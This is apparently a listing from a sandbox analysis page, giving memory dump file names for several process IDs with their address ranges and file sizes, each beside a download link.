Download
memory/2716-22-0x00000000026D0000-0x00000000026D8000-memory.dmp

Filesize
32KB

Download
memory/2716-21-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2716-20-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-24-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2716-26-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2716-27-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-45-0x000000013F370000-0x000000013F581000-memory.dmp

Filesize
2.1MB

Download
memory/2780-67-0x000000013F370000-0x000000013F581000-memory.dmp

Filesize
2.1MB

Download
memory/2792-54-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-55-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/2792-58-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-53-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/2792-52-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-57-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/2792-56-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/2844-72-0x0000000001650000-0x00000000016D0000-memory.dmp

Filesize
512KB

Download
memory/2844-48-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-47-0x0000000001650000-0x00000000016D0000-memory.dmp

Filesize
512KB

Download
memory/2844-46-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-51-0x0000000001650000-0x00000000016D0000-memory.dmp

Filesize
512KB

Download
memory/2844-50-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-49-0x0000000001650000-0x00000000016D0000-memory.dmp

Filesize
512KB

Download